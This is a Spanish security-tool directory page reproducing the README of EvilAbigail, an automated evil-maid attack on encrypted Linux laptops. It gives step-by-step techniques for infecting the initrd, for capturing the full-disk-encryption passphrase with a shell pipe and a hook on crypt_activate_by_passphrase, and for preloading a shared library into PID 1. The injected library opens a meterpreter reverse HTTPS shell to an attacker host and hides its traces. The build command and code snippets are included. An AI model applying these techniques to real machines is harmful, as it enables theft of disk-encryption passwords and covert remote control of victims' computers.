Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
EvilAbigail — Ataque automatizado de la doncella malvada en Linux | Kitploit
Herramientas/GitHubGitHub/strozfriedberg/evilabigail
Escalada de PrivilegiosAtaques de ContraseñasExplotaciónPost-ExplotaciónRed TeamingDesarrollo de Payloads
GitHubstrozfriedberg/evilabigail

EvilAbigail

Ataque automatizado de la doncella malvada en Linux

Ver Repositorio
43577hace 10 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Ataque a sistema de archivos raíz cifrado vía initrd

EvilAbigail

Escenario

  • Portátil dejado apagado con FDE activado
  • Atacante arranca desde USB/CD/Red
  • El script se ejecuta e infecta el initrd
  • El usuario regresa al portátil, arranca normalmente
  • El initrd infectado carga:
    • (Debian/Ubuntu/Kali) un archivo .so en /sbin/init al arrancar, abriendo una shell
    • (Fedora/CentOS) LD_PRELOAD de un .so en DefaultEnviroment, cargado globalmente, abriendo una shell.

Distribuciones soportadas

  • Ubuntu 14.04.3
  • Debian 8.2.0
  • Kali 2.0
  • Fedora 23
  • CentOS 7

Funcionalidades actuales

  • python/meterpreter/reverse_https hacia LHOST en tiempo de compilación
  • Contraseña de descifrado FDE almacenada en el entorno de meterpreter (getenv PASSWORD)

Detalles

Compilación

Consulte Makefile para más información/configuración; LHOST es necesario en el entorno para construir el .so ya que msfvenom se canaliza en tiempo de compilación. También es necesario tener libcrypsetup-dev (o equivalente) instalado en la máquina de compilación.

Instrucciones genéricas (genera imagen iso en el directorio actual): LHOST=192.168.56.101 make rev.so iso

isolinux.cfg

Se han añadido las siguientes opciones al arranque del kernel:

mc superuser nodhcp quiet loglevel=0

Además, el valor de prompt se ha establecido en 0 para permitir una ejecución completamente automatizada.

Tiempos

Tiempo aproximado desde arranque malicioso hasta initrd infectado: ~2 minutos Tiempo aproximado desde arranque legítimo hasta shell: ~90 segundos (configurable, queremos que la red esté activa antes que nosotros)

Requisitos previos

core.d es un core.gz desempaquetado de TinyCore con los siguientes paquetes integrados.

Core-current es un Core-current.iso desempaquetado.

Los siguientes paquetes se han instalado dentro de tinycore (python, soporte de sistemas de archivos):

  • bzip2-lib.tcz
  • filesystems-3.16.6-tinycore.tcz
  • gdbm.tcz
  • libffi.tcz
  • mtd-3.16.6-tinycore.tcz
  • ncurses.tcz
  • openssl.tcz
  • python.tcz
  • readline.tcz
  • sqlite3.tcz

Añadir nuevas firmas

Como mínimo, la firma es la siguiente:

root@kitploit:~
"exampleOS" : {
    "IDENTIFIER" : "grep EXAMPLEOS etc/initrd-release",
    "ROOT" : "${rootmnt}",
    "FILENAME" : "/ldlinux.so.1",
    "INITRDFILENAME" : "hda1"
}
  • exampleOS es un nombre único para este SO.
  • IDENTIFIER es un comando de shell que tiene un código de salida 0 cuando se ejecuta contra el initrd correcto, y !0 para cualquier otro.
  • ROOT es la ruta completa o variable donde se monta la nueva raíz después del descifrado.
  • FILENAME es la ruta completa para colocar nuestro binario en el sistema de archivos raíz. Tenga cuidado de saber qué monta initrd y qué se monta más tarde.
  • INITRDFILENAME es la ruta completa del binario dentro del initrd. Se copia dentro de Makefile (cp ... core.d/...), por lo que debe coincidir.

Después de eso, cada triplete de *FILE, *PRE, *POST se ejecuta contra el initrd como un re.sub (ej. re.sub(*PRE, *POST, *FILE)). El contenido de *PRE y *POST se expande usando .format(**config[detectedOS]), así que siéntase libre de expandir su firma para inyectar elementos.

No hay límite en la cantidad de reemplazos que puede ejecutar.

Notas

  • \\1 se expandirá al contenido completo de la coincidencia (*PRE) cuando se use dentro del reemplazo (*POST).
  • Tenga cuidado con: | $

Detalles técnicos

Payload

Se eligió el payload python/meterpreter/reverse_https de metasploit porque es más independiente de la plataforma que los payloads linux/*/meterpreter/reverse_tcp. python parece estar instalado por defecto en todos los sistemas probados.

Por defecto, el payload se genera en tiempo de compilación y se canaliza en el archivo .c como un #define. Esto facilita las iteraciones, pero no debería ser difícil guardar el payload e insertarlo manualmente.

Basados en Debian (Debian, Ubuntu, Kali)

Abrir la shell

Los sistemas basados en Debian (Debian, Ubuntu, etc.) utilizan una imagen cpio comprimida con gzip como initramfs. Esta contiene el script /init por defecto que se ejecuta para preparar el sistema para el arranque completo. Esto incluye pedir al usuario su contraseña y montar el sistema de archivos raíz cifrado.

Para colocar nuestro .so, esperamos hasta que el sistema de archivos raíz haya sido montado (es decir, después de que se le haya pedido la contraseña al usuario) y copiamos el .so al sistema de archivos /dev. El sistema de archivos /dev fue elegido porque es accesible justo antes de que se cambie el rootfs y es un montaje basado en RAM. Esto significa que nuestro .so no tocará el disco.

Para usar el .so colocado, utilizamos la variable de entorno LD_PRELOAD en la llamada a switch_root. Esta variable se pasa a todos los ejecutables hijos y, por lo tanto, el script final /sbin/init tendrá el módulo cargado. Para mantener esto relativamente silencioso, verificamos si estamos cargados en /sbin/init, y si es así, desactivamos la variable LD_PRELOAD y eliminamos el .so. Esta funcionalidad se puede deshabilitar fácilmente si queremos inyectar aplicaciones específicas.

Para forzar la ejecución del .so, por defecto después de la carga, usamos la bandera de gcc -Wl,-init,shell, donde shell es nuestra función principal. Esto especifica qué función queremos llamar al iniciar el .so. Piense en esto como un análogo al DllMain de Windows.

Robo de contraseñas

La parte del script init encargada de pedir al usuario su contraseña y montar el sistema de archivos raíz es la siguiente:

scripts/local-top/cryptroot:

root@kitploit:~
if [ ! -e "$NEWROOT" ]; then
        if ! crypttarget="$crypttarget" cryptsource="$cryptsource" \
             $cryptkeyscript "$cryptkey" | $cryptcreate --key-file=- ; then
                message "cryptsetup: cryptsetup failed, bad password or options?"
                continue
        fi
fi

La parte importante para nosotros es donde la salida de $cryptkeyscript se canaliza a $cryptcreate. $cryptkeyscript es el solicitador de contraseña, y $cryptcreate es el montador de disco. Esta tubería facilita mucho nuestro ataque. Insertamos el siguiente código donde está la tubería para escribir la contraseña al final de nuestro .so:

(read P; echo -ne \\\\\\\\x00$P >> /OUR.SO; echo -n $P)

Esto leerá la contraseña en la variable $P, la escribirá al final del .so y la repetirá. Este código será transparente para los propósitos de $cryptkeyscript y $cryptcreate, pero tendrá el efecto secundario de exfiltrar la contraseña. Usamos \\\\\\\\x00 para anteponer un byte nulo (considerando múltiples niveles de escape de shell) a la contraseña. Esto facilita que nuestro .so lea la contraseña, ya que solo necesita leer hacia atrás desde el final de sí mismo hasta que vea un byte nulo.

Para proporcionar esta contraseña al atacante, se utiliza como una variable de entorno en la invocación del payload. Esto significa que el atacante puede usar el comando de meterpreter getenv PASSWORD para recuperar la contraseña.

Artefactos

Debido a la forma en que se carga el .so, habrá referencias a él tanto en /proc/1/maps como en /proc/1/environ.

El archivo maps es una lista de módulos cargados. El siguiente extracto muestra el contenido de este archivo. Observe el (deleted), que podría levantar sospechas. Sin embargo, a diferencia de los binarios normales, no es posible acceder al .so sin extraerlo directamente de la memoria después de haber sido eliminado.

root@kitploit:~
7f9ee8a56000-7f9ee8a58000 r-xp 00000000 00:06 9264                       /dev/hda1 (deleted)
7f9ee8a58000-7f9ee8c57000 ---p 00002000 00:06 9264                       /dev/hda1 (deleted)
7f9ee8c57000-7f9ee8c58000 rw-p 00001000 00:06 9264                       /dev/hda1 (deleted)

El archivo environ es una lista de variables de entorno separadas por NULL en el momento de la invocación. Debido a que es de la invocación, cualquier modificación que hagamos en tiempo de ejecución (desactivar LD_PRELOAD) no se reflejará.

En ambos casos, debido a que podemos estar inyectados en cualquier proceso del sistema, podríamos simplemente inyectar la función read(2) y eliminar cualquier referencia a nosotros mismos.

Kali

Kali es un caso especial. Tiene el cpio encadenado mencionado a continuación, pero no usa systemd para arrancar. Por lo tanto, la regla del SO DRACUT se ha generalizado para que extraiga ciegamente, y luego la segunda detección de SO captura Kali.

Si agrega un SO con un cpio que contiene solo kernel/x86/microcode/GenuineIntel.bin, la regla IDENTIFIER debe ser para el cpio añadido, ya que lo encontraremos y extraeremos automáticamente.

Basados en Redhat (Fedora, CentOS)

Estos sistemas tienen un formato diferente para su imagen initrd en comparación con los sistemas basados en Debian. Los archivos initrd almacenados en /boot son un archivo cpio casi vacío, con un archivo cpio comprimido con gzip añadido. Este segundo archivo es el que contiene el initramfs. Para desempaquetar este segundo archivo es necesario analizar el primer archivo cpio para encontrar el final. Alternativamente, puede encontrar la cadena TRAILER!!! y seguir leyendo hasta encontrar la cabecera gzip (\x1f\x8b).

Otra diferencia de estos sistemas es que están basados en systemd y, por lo tanto, el ejecutable /init en el initamfs es un enlace simbólico al binario systemd, en lugar de un script sh plano. Para evitar esta limitación, es necesario modificar los archivos .service relacionados con el montaje del sistema de archivos raíz.

El archivo usr/lib/systemd/system/initrd-switch-root.service contiene el script que se utiliza para pivotar hacia la raíz recién descifrada. Usando la directiva ExecStartPre es posible ejecutar otros programas antes de que ocurra el pivotamiento.

SELinux está presente en CentOS, restringiendo el uso de LD_PRELOAD. Una ruta que funciona es /lib. Esto se localizó leyendo el archivo /etc/selinux/targeted/modules/active/file_contexts en busca de una ubicación etiquetada como system_u:object_r:lib_t.

Abrir la shell

Debido a que systemd llama a clearenv() antes de cambiar la raíz, nuestra variable LD_PRELOAD se elimina. Para evitarlo, podemos inyectar clearenv(), y siempre reemplazar el entorno solo con LD_PRELOAD. Sin embargo, para lograr esto, necesitamos ser PID 1 dentro del initrd. Esto es más complicado ya que no es posible usar LD_PRELOAD en este proceso. Para solucionarlo, hemos reemplazado /init con un script de shell bash de la siguiente manera:

root@kitploit:~
#!/bin/bash
export LD_PRELOAD=/hda1
exec /usr/lib/systemd/systemd

Esto funciona porque /init es solo un enlace simbólico a /usr/lib/systemd/systemd. Se usa exec para que el proceso conserve el PID padre (1).

Una vez implementado esto y neutralizado clearenv(), es posible establecer LD_PRELOAD para el PID 1 real dentro de la nueva raíz.

Robo de contraseñas

systemd maneja las contraseñas para sistemas de archivos cifrados de una manera completamente diferente a los scripts de init basados en Debian. Las contraseñas se pasan mediante sockets Unix que permiten enviar credenciales. Para evitar esta complejidad, el método más fácil que encontramos para acceder a la contraseña fue inyectar la función crypt_activate_by_passphrase de libcryptsetup. Las partes relevantes de la declaración de la función son las siguientes:

root@kitploit:~
int crypt_activate_by_passphrase(..., const char *passphrase, size_t passphrase_size, ...);

Para acceder a la contraseña, simplemente inyectamos esta función, guardamos passphrase en un archivo y llamamos a la función original obtenida por dlsym(RTLD_NEXT, ...). Como se mencionó anteriormente, añadimos nuestra contraseña al .so para que pueda analizarse a sí mismo y hacer que la contraseña esté disponible para meterpreter.

Artefactos

Como se mencionó, el .so aparece en /proc/1/maps, /proc/1/environ y en la salida de ps.

Descargar herramienta